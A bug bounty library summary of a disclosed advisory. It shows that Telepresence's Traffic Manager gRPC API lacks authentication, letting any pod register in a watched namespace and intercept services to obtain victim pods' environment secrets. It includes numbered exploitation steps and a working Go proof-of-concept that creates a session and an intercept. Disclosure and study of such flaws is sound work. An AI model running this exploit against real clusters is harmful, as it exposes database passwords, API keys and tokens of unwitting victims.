# Telepresence: Traffic Manager gRPC has no auth — any pod claims arbitrary namespace and intercepts services, receiving victim environment secrets

Telepresence Traffic Manager gRPC on port 8081 lacks auth, letting any pod register in a watched namespace and intercept services, exfiltrating victim env secrets.

- Payout: Research
- Severity: high
- Program: Telepresence
- Found by: 0xVijay
- Disclosed: 2026-11-09
- CVE: CVE-2026-102340
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-j8j4-rw65-56r6
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-j8j4-rw65-56r6
- Tags: area:cloud domain:cloud domain:infra impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:grpc tech:kubernetes technique:source-review vuln:access-control vuln:auth-bypass vuln:secrets-leak

**Target:** Traffic Manager gRPC API (port 8081)
**Root cause:** The gRPC server has no auth interceptor and uses plaintext credentials; ArriveAsClient and CreateIntercept only check the namespace is in the Traffic Manager watchlist, never that the caller belongs to that namespace or has RBAC.
**Steps:**
1. From any pod, dial `traffic-manager.ambassador:8081` with `grpc.WithTransportCredentials(insecure.NewCredentials())`.
2. Call `ArriveAsClient` with `ClientInfo{Name: "attacker@pod", Namespace: "payments", ...}` to get a session.
3. Call `CreateIntercept` with `InterceptSpec{Name: "steal", Agent: "payments-api", Namespace: "payments", Mechanism: "tcp", Client: "attacker@pod"}`.
4. Receive the victim pod's full container environment via `intercept.Environment`.
**How found:** Code review of pkg/grpc/server/server.go and cmd/traffic/cmd/manager/service.go: noticed the server starts with no auth interceptor and plaintext creds, and that ArriveAsClient/CreateIntercept only gate on ManagesNamespace rather than caller identity or RBAC.
**Exploitation:** Any pod operator with cluster-network reach to the Traffic Manager registers a client session in a watched namespace, then creates a TCP intercept against a target service in that namespace. The victim pod's complete container environment (DB passwords, API keys, service account tokens) is forwarded to the attacker with no audit trail in the victim namespace.
**Escalation:** In the default cluster-wide Traffic Manager deployment all namespaces are managed, so a single low-privilege pod can intercept any service across the cluster regardless of Kubernetes RBAC.
**Insight:** For in-cluster control-plane services, check whether authorization is derived from a global watchlist/config rather than the caller's identity — a namespace-scoped session may be reusable against any other watched namespace.

## Proof of concept (copied exactly from the original report)

**Go PoC registering client and creating intercept**

```
conn, _ := grpc.NewClient("traffic-manager.ambassador:8081",
    grpc.WithTransportCredentials(insecure.NewCredentials()))
mgr := rpc.NewManagerClient(conn)

session, _ := mgr.ArriveAsClient(ctx, &rpc.ClientInfo{
    Name: "attacker@pod", Namespace: "payments",
    InstallId: uuid.NewString(), Product: "telepresence", Version: "2.20.0",
})

mgr.CreateIntercept(ctx, &rpc.CreateInterceptRequest{
    Session: session,
    InterceptSpec: &rpc.InterceptSpec{
        Name: "steal", Agent: "payments-api", Namespace: "payments",
        Mechanism: "tcp", Client: "attacker@pod",
    },
})
```

